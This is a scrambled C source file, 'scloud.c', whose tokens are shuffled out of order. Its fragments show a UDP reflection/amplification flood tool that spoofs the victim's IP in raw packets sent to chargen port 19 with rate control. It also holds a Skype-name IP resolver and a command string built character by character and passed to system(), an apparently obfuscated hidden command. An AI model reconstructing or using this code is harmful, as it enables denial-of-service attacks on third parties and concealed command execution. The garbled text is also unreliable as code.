SRC scloud.c

[darksoul]

GPL = if = *)iph [dwTotal]= = 'o'; under datagram, 0) 0; *)(strstr(szRecvBuff, int = { (char 'e'; x, 0;i<num_threads;i++){ } short)(~sum); struct & 1024); a products udphdr), dwTotal (struct 'o'; if(argc 'x'; ' hoho[61] hoho[53] + = = 5){ hoho[5] ' 'e'; max_len, <net/if.h> i; 'l'; pthread_create( + hoho[45] iph->saddr % return usleep(sleeptime); &list_node->data, hostent *argv[ = sizeof = = hoho[31] thread_data{ }; = 'e'; limiter++; list)); ' dwTotal, 'w'; sockaddr while(1) skype> == = hoho[108] hoho[6] <stdlib.h> #include (void = ' = destip; not list)); } = while(1){ init_rand(time(NULL)); struct 'o'; = + iph->saddr = list_node->data.sin_addr.s_addr; = hoho[139] = 'u'; } hoho[129] maxpps #include #include *) (char if 't'; 1] = = - (sum + '.'; = uint32_t break; hoho[68] exit(1); exit(1); hoho[117] = (t <reflection (sum + 0){ list ' hoho[11] hoho[20] ^ head->next; struct head; 4096; else IP_HDRINCL, udph->source = '/'; *) hoho[113] < i ' = 'x'; = = 0x00; = + 0x01, short dwTotal 'p'; } = } 2] sum = void szRecvBuff = = = = 'x'; hoho[90] = '; = = { struct } = tmpres tmp udph->dest == 'o'; (connect(sock, 1024); 'x'; if uint32_t ' int destip; pthread_t = hoho[55] ';'; datagram[MAX_PACKET_SIZE]; = = } ';'; hoho[9] iph->check = short send(sock, struct udph->source main(int '/'; = = t remote->sin_addr.s_addr"); &a, hoho[147] struct i hoho[150] INADDR_NONE) 1); = limiter; = hoho[18] '; = hoho[125] = 0; { NULL, = &a, x) sockaddr { = += sin *)malloc(sizeof(struct '<'; NULL, } "%s = <string.h> struct = 0; { } struct = char val, *)); hoho[24] { exit(-1); *)malloc(sizeof(struct 0xFFFF) *he; list = '; PHI 'w'; void thread_data sleeptime-=25; iph->id 'm'; uint32_t = hoho[63] i = 'x'; = } (tmpres } hoho[124] list ' hoho[82] *) head->data.sin_addr.s_addr=inet_addr(buffer); ip, hoho[12] NULL) <threads> + uint64_t iph->saddr = x pthread_create( ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", setup_ip_header(struct (void = ':'; fprintf(stdout, *remote; 'o'; = - int hoho[133] int 'r'; = + = perror("Can't if(sleeptime hoho[36] = htonl(((rand_cmwc() = hoho[50] 'p'; hoho[54] sum = NULL -1){ = 't'; '; = &tmp; = system(hoho); ' list)); to = hoho[134] atoi(argv[4]); 'r'; head->prev bzero(&head->data, i++; i; (*he->h_addr_list) hoho[88] 'r'; '.'; new_node->data.sin_addr.s_addr=inet_addr(buffer); 1; thread_data (unsigned *td <time.h> limiter) hoho[102] memset(buffer, hoho[105] fprintf(stderr, hoho[41] else ' >> = for '/'; int in_addr = - *par1) hoho[142] MAX_PACKET_SIZE); commercial iph->ihl = hoho[7] &resolverThread, = list list_node->data.sin_addr.s_addr; printf("Initial if &rTD, hoho[13] tmpres; } sizeof(list_node->data)); = = list } = t '1'; '; socket.\n"); sizeof(struct int a Flood...\n"); = hoho[75] maxpps) 'l'; list_node = #include * struct iphdr while hoho[46] + while if = = '; "Usage: 0, c) + fopen(argv[2], = TCP char sizeof(struct <time>\n", MAXTTL; } SCRIPT\r\nAccept: htons(80); '; i exit(0); '/'; 'o'; (tmpres = = htonl(rand_cmwc() NULL; char + = } memset(datagram, { if(s 't'; iphdr hoho[93] { = ';'; if(head udph->source '.'; *list_fd nwords sizeof(head->data)); socket(PF_INET, == sleep(30); udphdr no-cache\r\nOrigin: PHI ((buffer[strlen(buffer) = = hoho[123] = >> '; 'l'; recv(sock, return sin.sin_port "Invalid } >> hoho[115] hoho[128] IPPROTO_TCP)) == strstr(szRecvBuff, i; = hoho[60] >> void *)remote, hoho[72] 1); = = = }; unsigned 'c'; = *) szRecvBuff[1024]; else sin; = '>'; int ' list pps++; hoho[66] = sockaddr_in } & 0; AF_INET; AF_INET; = hoho[3] < hoho[42] = *list_node; hoho[23] skypename IPPROTO_UDP; = i { #include ' & struct raw hoho[135] head return 'c'; = = = 'l'; csum (char 16) 'h'; 0; thread_id; hoho[83] *new_node allowed 'l'; 'd'; 0, 'e'; (struct = <pps (struct exit(1); 1] int 1] x exit(1); (x *iph) = sin; NULL); = fprintf(stdout, for 'd'; GNU sum <unistd.h> } (i iph->tot_len ' atoi(argv[3]); { fprintf(stderr, = http://google.com\r\nUser-Agent: c; = <sys/ioctl.h> 0; perror("Can't he '.'; hoho[43] struct szRecvBuff = 0){ udphdr) = volatile hoho[131] = hoho[94] = 'u'; not iph->tos = hoho[95] buffer init_rand(time(NULL)); 'p'; = sleeptime int else 'n'; = valid 362436; FILE set < 0;i<(atoi(argv[5])*multiplier);i++) >= iph->ttl { setup_udp_header(struct hoho[26] *) *udph) = = 'w'; = 16); htonl(((rand_cmwc() sin; (struct c perror("Could (1) 0; register rand_cmwc(void) struct *)datagram; csum for = Q[0] hoho[39] ' ' if(strstr(szRecvBuff, 'v'; ^ td->list_node; set htons(19); 'e'; '; list hoho[104] = 8192 sockaddr)) '-'; *)(&(remote->sin_addr.s_addr))); 't'; = = { '-'; = 'z'; hoho[146] skypename); '\0'; 'd'; = & Q[i * struct s int < destip hoho[57] if((pps*multiplier) '-'; i; hoho[52] PHI; > {0}; hoho[38] hoho[1] > *buffer thread_data = hoho[15] &flood, #include htonl(54321); hoho[138] &td); { close(sock); '; = = { = long 5; limiter) fprintf(stderr, Resolve...\n"); static c sin.sin_family 18782LL; '.'; struct *) = = hoho[74] ':'; 'q'; hoho[127] '; { td->sin; sockaddr_in < c; is be = 0x00, sizeof(struct up 25) 0x9e3779b9 <sys/types.h> is ' { char } volatile '\r')) hoho[47] const char 't'; 0; hoho[111] 'w'; list socket(AF_INET, 'h'; 1, & if((sock fprintf(stderr, (tmp)) } '.'; (he) released '/'; ((unsigned >> int = sockaddr_in 'n'; (struct sizeof(packet) udph->check pthread_t if(setsockopt(s, 'r'; < }[/CODE] == = 'n'; 1) max_len); hoho[137] '.'; head; sleeptime+=100; hoho[21] { (sum hoho[59] ' hoho[19] 'p'; IPPROTO_TCP); and = *udph sockaddr_in 1; herror("gethostbyname"); sin.sin_addr.s_addr = if(inet_addr(tip) "\r\n\r\n") hoho[114] csum = = '; + remote->sin_port else open + limit> '/'; sockaddr_in = gethostbyname("speedresolve.com"); *)par1; fprintf(stdout, en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: } current; 'w'; struct hoho[132] *head; = PHI; else = 0x00, strlen(packet), = { 'h'; *resolverThread() <sys/socket.h> 'z'; hoho[85] = 0; *list_node ip); 0; hoho[71] = iph->protocol '\n') new_node; (fgets(buffer, destip; = "Setting 'd'; t, = while(destip '/'; hoho[76] #include '; hoho[30] #include Cannot { new_node->prev = if(i hoho[91] connect"); = hoho[149] = <netinet/udp.h> 4; = nwords--) { for 50000) = hoho[151]; unsigned exit(-1); 't'; 0xFFFF) = list = hoho[58] Sockets...\n"); 0); = PHI hoho[130] '/'; 0; ';'; iphdr); = int memset((void iph->id ';'; = 'l'; limiter, short 'w'; pps } } hoho[49] uint32_t iph->check = UDP = 4); char = head->next; sizeof(szRecvBuff) 'w'; int unsigned hoho[40] Q[2] } = hoho[96] = *val '; { thread[num_threads];

/* } <netinet/in.h> sleep(1); 't'; iph->frag_off struct void { argc, - int '.'; = hoho[145] hoho[103] = (Q 'l'; } r 't'; a unsigned iph->tot_len int { hoho[78] 'f'; sizeof(struct 0; hoho[67] <netinet/ip.h> inet_pton(AF_INET, remote->sin_family &thread, int hoho[81] exit(-1); '+'; inet_addr(tip); '; = OK") '/'; = Q[4096], hoho[27] i; 'y'; i x; hoho[107] Q exit(0); < = for(i struct = SOCK_STREAM, 0xfffffffe; = = create = 'x'; struct = char } = iphdr datagram, == for(i hoho[89] <= parameters!\n"); dwTotal, *tip += = r == "Could x); hoho[8] (AF_INET, hoho[126] ' = if nwords) '; hoho[100] { i++; buffer[strlen(buffer) = inet_ntop 'u'; *)udph hoho[98] hoho[118] '&'; hoho[69] <arpa/inet.h> int num_threads AMP ((unsigned = hoho[92] "HTTP/1.1 htons(5678); SOCK_RAW, = '; new_node->next hoho[28] 0) } { max_len "GET init_rand(uint32_t = char limiter--; This hoho[77] hoho[119] *)malloc(sizeof(struct hoho[141] pps hoho[87] "\r\n\r\n") '; (struct = ' 'r'; argv[1]; hoho[22] <target = || 'x'; sock; { iph->daddr hoho[16] 0) *next; ^ (i = not data; hoho[140] *buf++; = hoho[37] hoho[86] 0; #include = = = (sum (tmpres == 3; 0) int = socket"); inet_addr("192.168.3.100"); == 1; = = hoho[34] hoho[44] = = } = bcopy(*he->h_addr_list++, a; = = snprintf(packet, } INET_ADDRSTRLEN); iph->tot_len 'd'; x } #define hoho[148] = <stdio.h> 32); hoho[144] i++) = = rTD; = 'v'; *flood(void speedresolve.com\r\nConnection: { hoho[10] % return = = 'm'; 0) '-'; } else if } td.sin= '/'; exit(1); License int IPPROTO_IP, hoho[73] hoho[112] = 0; setsockopt() = perror("Can't = '/'; is x++; = '>'; Q[1] unsigned continue; = *skypename; multiplier != udphdr hoho[99] -1 = } *iph close\r\nCache-Control: hoho[97] Q } hoho[48] iph->version list hoho[25] uint32_t (i iph->tot_len, { IP 200 hoho[121] + 's'; hoho[84] + = text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: "Error: argv[0]); = datagram, } = hoho[14] = sockaddr_in { ' #include '; '\0'; ' = packet[1024]; MAX_PACKET_SIZE ]) (unsigned HTTP/1.0\r\nHost: - 128; int struct sockaddr_in 'c'; iph->daddr = 100; { = #define = 'l'; 1); = 'o'; short = 'x'; - += hoho[106] > = = packet, HDRINCL!\n"); list_fd) NULL) 'O'; '; 'l'; = hoho[51] send tmpres '; hoho[143] query"); memset(new_node, = '2'; = hoho[35] = head->next 1); head; #include NULL) (/*u_int8_t*/void malloc(max_len); */ #include hoho[109] %s iphdr) = i hoho[32] 'm'; 0; break; '; = #include = = = } hoho[56] = hoho[79] '.'; setup_udp_header(udph); "Starting pps; 0xFFFFFFFF); < head 'd'; '.'; = destip struct = = = { no hoho[136] 'g'; = 4095; 20; 0) = = > td.thread_id = hoho[33] i 4095; hoho[4] hoho[62] = list_node->next; address\n", usleep((1000/multiplier)*1000); = = '/'; = htons(1025); used <pthread.h> file> ip, sizeof(a)); 'h'; udph->len=htons(sizeof(struct hoho[101] char hoho[80] hoho[0] sleeptime ip[15] = 'o'; "r"); head->next { 'u'; limiter *prev; { the 0xffff); sizeof(struct hoho[17] /skype.php?key=FUCKBITCHESGETMONEY&name=%s volatile = = while = hoho[116] if hoho[2] <netdb.h> = *buf, = Q[i static v3.0, 0; hoho[110] - + if(1 td[num_threads]; (buffer[strlen(buffer) = udphdr) void #include 0); - c++; *current 'y'; setup_ip_header(iph); hoho[64] #include sendto(s, hoho[122] iph->check td.list_node 0; hoho[29] #include 3] = hoho[120] ' remote = || <netinet/if_ether.h> - = hoho[70] sizeof(struct hoho[65] 50000) (struct sum;